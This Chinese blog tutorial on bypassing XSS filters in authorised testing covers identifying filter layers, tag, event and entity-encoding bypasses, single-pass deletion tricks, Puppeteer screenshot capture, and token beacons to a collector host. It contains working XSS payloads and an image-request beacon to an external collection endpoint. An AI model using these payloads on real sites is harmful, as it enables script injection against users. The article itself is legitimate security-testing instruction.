首页
/
行业洞察
/
正文
INDUSTRY INSIGHT · 深度
XSS绕过实战:从过滤识别到截屏验证的关键技巧
📅 2026/10/17 2:53:42
✍️ 爱科研究院
👁 阅读 3,247
XSS绕过和XSS截屏听起来像是纯攻击向的操作但落到实际项目里它对应的往往是一个很具体的测试任务目标里发现了一个输入反射点但服务端规则或网关拦了一部分需要反复调整payload绕过过滤再把浏览器端真实执行的效果用截图沉淀成证据。这篇文章不打算从零讲XSS是什么而是拆解我在实际测试中怎么处理这类问题——从识别过滤规则到组合绕过方案再到截屏验证每一步都尽量说清楚“为什么这么做”。先举一个最常见的例子某个后台系统把用户输入拼接进HTML标签的属性值里后端过滤规则把onerror、onload这类事件名直接替换成空。常规的单标签payload走不通但我利用浏览器解析HTML实体和属性值时的顺序差把事件名拆成两段拼回去最终在授权测试范围内拿到了执行机会。这种场景是典型的“绕过验证”组合拳也正是这篇文章要聊的核心。1. 先搞明白过滤器到底在哪一层1.1 三层过滤器特征匹配、转义处理、前端拦截很多人一看到payload被改写就慌其实第一步应该是确定输入在哪个环节被处理。常见有三大类第一类是WAF或反向代理层这类设备通常做特征匹配。看到script、alert()、onerror这种特征直接拦掉或者把参数整体丢弃。判断依据很简单提交一个特征明显的输入如果返回了拦截页或者整个请求消失基本就是前置设备干的。第二类是服务端代码层的处理。通过函数把危险字符替换或转义比如把变成lt;或者把黑名单单词删掉。这类处理比较多样也是绕过的主要战场。第三类是前端框架渲染前的处理。输入原样进了响应但框架在浏览器端又做了一层转义导致它变成纯文本。这种情况在现在的前端项目里越来越常见尤其是用了现代模板引擎的页面。判断方法我总结过一套提交scriptalert(1)/script看响应里它变成了什么。整个请求被拦就是前置拦截变成lt;就是服务端做了HTML转义script被删了就是正则替换黑名单响应原样返回但浏览器不弹窗就要把注意力放到前端框架和DOM解析上。这一步判断准确了后续的绕过方向才有针对性可以省下大量试错时间。1.2 用探针集试探过滤器的手感我习惯先提交一组探针来“摸”过滤器的脾气下面这组覆盖了常见的处理方式scriptalert(1)/script img srcx onerroralert(1) svg onloadalert(1) a hrefjavascript:alert(1)click/a details open ontogglealert(1)逐个提交后观察响应变化。如果说script变成了alert(1)说明黑名单规则是“删掉script关键字”且只删一遍如果img标签保留但onerror被清空说明针对事件关键字有独立的替换规则如果a hrefjavascript:...里的javascript:被去掉说明协议前缀被做了处理。实际操作中值得注意的一点同一个系统可能同时存在多种过滤策略比如WAF负责特征拦截应用层又做了一遍转义。这时候需要分层做排查先绕过WAF拿到合法响应再看服务端转义后的情况。我在某次测试中遇到过一个系统WAF对script大小写不敏感但服务端的替换规则只匹配全小写这种组合就非常“拧巴”也给了绕过空间。遇到这类情况先记录清楚每一层的行为再逐层构造payload才是正确节奏。2. 构造绕过方案的核心思路2.1 四个基础维度标签、事件、协议、语法绕过方案不是凭空想出来的基本都围绕四个维度展开可用的HTML标签、标签上的事件处理器、可执行的协议前缀、以及浏览器解析语法时的容错特性。标签维度是最常见的切入点。script被禁了可以考虑img、svg、details、math等自带事件支持的标签。有些标签很冷门比如marquee、video、audio但它们的类事件属性在过滤不严时同样能触发脚本。事件维度看的是事件处理器。onerror被过滤了试试onload、onclick、onfocus、onmouseover。每种事件都有不同的触发条件需要配合交互或者页面加载时机。img srcx onerroralert(1)加载失败后触发onerrorsvg onloadalert(1)在SVG加载完成时触发onloadinput autofocus onfocusalert(1)则在输入框自动获得焦点时触发onfocus。协议维度重点关注javascript:协议。一些过滤规则只处理标签和事件但对URL里的协议检查不完整比如只过滤了javascript:却忘了大小写变体或者只拦了javascript:没拦#106;avascript:这类实体编码形式。语法维度最考验对浏览器的理解。HTML解析器在解码实体、解析属性引号、处理注释符等方面有很多“兼容性”行为这些行为在特定上下文里能让你绕过看似严密的过滤器。2.2 编码转化的常见路径与验证逻辑编码绕过是另一个高频思路常用的路径包括HTML实体编码、URL编码、Unicode编码、JavaScript字符串内的十六进制/八进制转义还有大小写混合。但编码绕过的前提是“目标位置支持解码后再执行”这就要求先搞清楚反射点位于HTML的哪个上下文是标签之间、属性值里、JavaScript代码块内还是URL参数值里。举个例子反射点在href属性里时如果只过滤了javascript:你可以试试URL编码版本。浏览器解析属性值的时候会先做HTML实体解码再做URL解析有些场景下hrefjava#x73;cript:alert(1)就能绕过对字符串“javascript:”的拦截。但这招放到script标签内部就无效因为JavaScript引擎对字符串字面量里的#x73;这种HTML实体根本不做处理。所以我在构造编码绕过的payload时始终遵循一条准则先定位反射上下文再选择该上下文真正会解码的编码方式。不确定的时候就用一个带唯一标记的payload做实验观察最终落到页面上的形态再决定下一步。2.3 过滤规则只执行一遍的经典用例前面提到的“删一次”型过滤器值得单独拿出来说。假设一个规则是preg_replace(/script/i, , $input)注意没有加g参数或没做循环替换。输入scriptscriptalert(1)/scriptscript的时候第一次匹配会删除中间的script剩下的部分拼起来变成scriptalert(1)/script。浏览器解析时看到的就是正常的script标签。这个思路还能延伸到事件名上。如果onerror被删一遍输入ononerrorerror就会变成onerror。同理javasjavascript:cript:会变成javascript:。我在测试某个本地搭建的实验靶场时就靠这个简单的双层思路绕过了原本设计好的过滤器当时第一反应是系统很老但反过来也说明这种问题在真实环境里依然存在。不过要留意一点如果过滤规则做了循环替换比如while循环里一直删到没有匹配为止这个办法就会失效。测试的时候要通过响应判断它到底是删一次还是删到底别在一个方向上空耗太多时间。3. 实际场景里的绕过组合战3.1 场景一只过滤了标签名没管事件属性有个模拟订单管理系统的搜索功能输入直接反射在页面标题位置过滤规则把script、iframe、svg这几个标签名都拉黑了但事件属性完全没有过滤。这种情况下不需要去和标签名死磕换一个黑名单之外的标签就行。我提交了这样的payloadimg srcx onerroralert(1)页面上图片加载失败onerror事件触发脚本执行成功。就这么简单。这类场景对应的真实问题是很多开发者的过滤规则只覆盖了新闻里常见的几个标签事件属性往往被忽略。3.2 场景二事件名被过滤但标签黑名单没覆盖另一个模拟后台的输入点把onerror、onload、onclick这些事件名统一替换成空字符串但svg、details这些标签能正常使用。常规事件进不去就要试试冷门事件或者组合语法。details标签有一个ontoggle事件当标签展开/收起状态变化时触发。过滤规则没覆盖它所以我构造了details open ontogglealert(1)open属性让details默认展开切换动作自动触发ontoggle事件脚本执行。这种冷门事件属性的好处是它们不在大多数过滤黑名单的初始版本里规则维护不及时的话就有可乘之机。还有一种方式是事件名同时出现在两个位置利用属性值里的特殊字符让过滤正则匹配失败但浏览器当属性分割再看一眼时会恢复成一个有效事件。比如img srcx onerroralert(1)如果onerror被严格过滤可以试试在标签属性前面加一个换行符或者/看过滤正则是不是只匹配最直观的写法。这些细节在真实目标上往往有奇效。3.3 场景三属性值里的组合拆分属性值场景比想象中复杂。某次授权测试的目标把反射点放在a href用户输入的href属性里并且过滤了javascript:协议前缀。常规的javascript:alert(1)行不通。我首先想到用HTML实体编码绕过直接提交了java#x73;cript:alert(1)结果响应里原样显示了点击链接也确实执行了。原因就是浏览器解析href属性值时会先把HTML实体解码成javascript:再交给URL解析器处理。而过滤规则匹配的是原始输入里的明文编码形态避开了匹配。如果连都被转义那就要考虑换一个触发路径。比如把href值构造成一个数据URL或者利用//相对路径配合页面内已有脚本。这些方案都取决于当前页面的具体结构和可用的其他输入点不展开讲了核心是想提醒大家属性值的实体解码顺序是绕过时最容易被低估的环节。3.4 让执行点稳定触发的小技巧不管绕过成功了多少层最后还是要让脚本稳定执行这才能截到图。执行不稳定多数是因为事件触发时机不对。比如onmouseover需要鼠标悬停自动化截屏工具里默认不会移动鼠标这时候事件根本不会触发。我的做法是优先使用自动触发的事件和属性组合img配合onerror只要图片加载失败就触发svg配合onload元素加载完成就触发details open ontoggle页面解析时默认打开直接触发input autofocus onfocus自动聚焦触发body onpageshow页面显示时触发。这几组事件对自动化浏览器都非常友好不需要模拟用户交互也能看到结果是XSS截屏验证里最稳的一批选择。4. 截屏验证让执行结果变成可复盘证据4.1 为什么截屏是必须的很多人验证XSS习惯用curl或者Burp的响应包来判断但“响应里出现了payload”和“浏览器里真的执行了脚本”是两回事。截屏能同时确认三件事浏览器加载了页面、脚本语法没被破坏、JS确实执行并产生了可见效果。这一点在输出测试报告或者和同事核对结果时非常关键一张带时间戳的截图远比一行终端输出有说服力。另外截屏还能在测试过程中记录下payload的“真实历史版本”。我在多轮绕过时经常需要回看某个payload当时产生了什么页面效果没有截图就只能重新跑一遍效率差很多。4.2 给截屏设计一个可辨识的执行证据截屏不光是拍一张页面就算完关键是要证明“脚本执行了”。最基础的方式是弹窗但弹窗有时候会互相叠加反而影响截图的可读性。我更喜欢用改变页面内容的方式比如通过DOM操作往页面上写一段唯一的标记文本document.write(XSS-DEMO-7F3A9);脚本执行后页面上会出现一段独特的字符串截图时一眼就能看出来。如果目标页面有限制不能使用document.write也可以换成修改标题、往body里插入元素、或者发起一个带唯一token的请求把请求结果记录到外部位点。另一种更立体的验证是“外带请求页面标记”搭配使用。脚本执行时同时做两件事向指定的收集端发一个带随机编号的请求并在当前页面写入相同的随机编号。这样即使截图没拍到想看的区域后端日志里的请求记录也能和截图对应上形成互补的证据链。var token XSS-VERIFY-77321; new Image().src https://你自己的收集端/record?token token; document.body.setAttribute(data-xss, token);页面上元素的>npm init -y npm install puppeteerconst puppeteer require(puppeteer); (async () { const browser await puppeteer.launch(); const page await browser.newPage(); page.on(dialog, async dialog { console.log(弹窗内容:, dialog.message()); await dialog.dismiss(); }); // 构造目标地址payload先做URL编码 const target http://127.0.0.1:8080/search?kw encodeURIComponent(img srcx onerroralert(1)); await page.goto(target, {waitUntil: networkidle2}); await page.waitForTimeout(1000); await page.screenshot({path: xss-proof.png, fullPage: true}); await browser.close(); })();运行后会自动打开目标页面、等待网络请求都结束、处理可能的弹窗并把整页截图保存下来。fullPage: true参数很适合截取长页面能把整个DOM渲染结果都记录下来。这里的启动和截图参数有两个经验一是waitUntil建议用networkidle2而不是load因为有些页面加载完还会有异步请求过早截图会拍到空白二是弹窗处理器一定要提前写好不然脚本里的alert会把页面卡住截图依然会拍到弹窗后续流程反而不走了。如果在真实测试里需要自动化访问目标页面务必确保已经获得充分授权并只在授权范围内操作。5. 工具搭配从手动试探到半自动流水线5.1 Burp Suite还是抓包第一选择大多数绕过测试都绕不开Burp Suite。我的用法是先用Burp的Repeater手工提交payload观察响应里的变化把目标页面和过滤规则的“手感”摸清楚。Repeater相比浏览器的最大好处是能看到最原始的响应体不会被浏览器自动修正状态干扰判断。等绕过的方案基本确定再把payload复制到Burp的Intruder里跑一轮批量测试把变体集合都过一遍。Intruder适合用来验证多个payload变体在同一过滤规则下的表现比如同时测试大小写、编码、注释符等不同变体返回码和长度变化能很快暴露哪些没被过滤。5.2 自动化浏览器负责“执行与留证”Burp解决的是“服务端怎么处理输入”的问题而“浏览器最终怎么渲染”必须交给真实的浏览器环境。我在关键payload确认之后会用Puppeteer或Playwright脚本跑一次完整流程生成带时间戳的截图。这套流程有个“前后分离”的直觉设计前半段Burp负责构造和过滤验证后半段浏览器负责执行和截图。两者结合起来既能快速迭代payload又能得到稳定可信的最终结果。5.3 外部位点记录与数据交叉核对截屏只是显性证据我还习惯起一个简单的本地监听服务专门记录脚本发出来的带token请求。这样多个payload并行测试的时候可以靠token区分哪个payload在哪个时间点执行成功避免截图重名覆盖导致后续难以回看。# 先用任意静态服务器或者监听工具跑在本地8888端口 python3 -m http.server 8888脚本里发起请求时带上tokennew Image().src http://127.0.0.1:8888/xss?tokenA1B2C3;服务端访问日志里出现/xss?tokenA1B2C3时就说明脚本在浏览器里真实执行了。这套方法的优势是准确度高不受弹窗拦截和页面内显示条件的影响。6. 测试中遇到的坑和解法6.1 截图空白或内容不对最常见的问题是脚本执行了但截图上没有体现。原因一般有两个一是截屏时机太早脚本是异步执行或者延迟执行的页面还在加载中就拍完了二是document.write在页面加载完成后调用会把整个页面覆盖成空白。解法也很简单。第一截屏前等一下或者用waitForSelector等待页面里出现预期的标记元素第二如果使用document.write确保它是在文档解析期间被调用或者干脆换成document.body.insertAdjacentHTML这类更稳妥的DOM操作。6.2 payload被部分解码或二次编码有时候响应里能看到payload但浏览器渲染出来却是另一回事。比如输入被服务端做了URL编码变成了%3C浏览器在标签解析阶段并不会对%3C做HTML解码所以页面显示的是字符字面量而不是标签。这时候需要确认响应头里的Content-Type和页面上下文才能判断应该用URL编码还是HTML实体编码。还有一种情况是页面里有两层编码服务端先转义了HTML实体前端框架又转义了一层。我会直接看最终渲染后的DOM结构从开发者工具里检查元素树确认输入到底变成了什么形态再针对性构造下一版payload。6.3 过滤器更新的回归问题真实目标上的过滤规则可能在你测试过程中被调整。上午还能用的payload下午就被拦了这种情况我遇到不止一次。应对方式是保留一份完整的payload测试日志记录每个payload在什么时间、对应什么响应一旦排查出现异常就能快速对照。我的习惯是把每轮结果都落地成一个小表格包含payload、是否被过滤、返回码、响应特征、截图文件名这几个字段。这不仅是排查工具最后写测试总结的时候也省事直接把表格贴进去就行比重新梳理测试过程要快得多。6.4 关于测试边界的提醒写完这些内容还是想专门强调一点XSS绕过和截屏验证的方法应该用在授权范围内的测试环境中。自己搭建的本地靶场、自有系统、或者已经拿到书面授权的目标都可以。不要在未授权系统上做这类验证这不仅涉及法律边界也是安全从业人员的基本职业底线。测试过程中处理的敏感信息也要做好脱敏报告里尽量用虚构的系统和参数名称。本质上这篇文章里的技术栈对防守方同样有价值了解绕过思路才能写出更完善的过滤规则这也是我把这些细节写出来的原因。最后分享我的一个工作习惯每测完一个payload不管通没通过都顺手把页面截个图存下来。这个习惯让我在后来回顾和复测的时候省了很多时间因为很多绕过路径当时看着没意义过一阵子换一个输入点反而能用上。
📌 标签:
工业官网
设计趋势
AI 建站
SEO
获取完整报告 →
RELATED ARTICLES
推荐阅读
2026/10/17 2:53:42
实例分割实战:Mask R-CNN与X101骨干在高速运动场景中的工程实践
2026/10/17 2:48:42
TypeScript:`interface`、`type`、`class`
2026/10/17 2:48:42
电脑上怎么启动和连接MySQL(本地+Docker版)
2026/10/17 4:03:46
AI逆向分析保姆级教程:大模型如何把反编译代码翻译成人话
2026/10/17 4:03:46
AI拆解代码库指南:用repo-digest与上下文工程快速理解大型项目
2026/10/17 4:03:46
Jetson Nano 实战:dlib+FaceNet 人脸识别从零搭建与调优
2026/10/17 4:03:46
AI跨会话记忆缺失怎么办?用CLAUDE.md构建项目认知与协作共识
2026/10/17 4:03:46
RFID模块实战:RC522接线、M1卡读写与故障排查全攻略
2026/10/17 3:58:46
深度强化学习微网调度实战:A3C算法与Python实现
2026/10/17 0:02:58
NetSpot 实战:用信道分析与频宽优化解决 Wi-Fi 卡顿
2026/10/17 0:02:58
C++ split() 字符串分割的五种实现与性能实测
2026/10/17 0:02:58
R语言坐标轴范围设置:从xlim/ylim到coord_cartesian的完整指南
2026/10/16 1:17:36
流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南
2026/10/16 1:17:35
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别
2026/10/16 1:17:35
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容
2026/10/16 1:17:35
我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
2026/10/16 18:46:48
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026/10/16 18:46:46
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)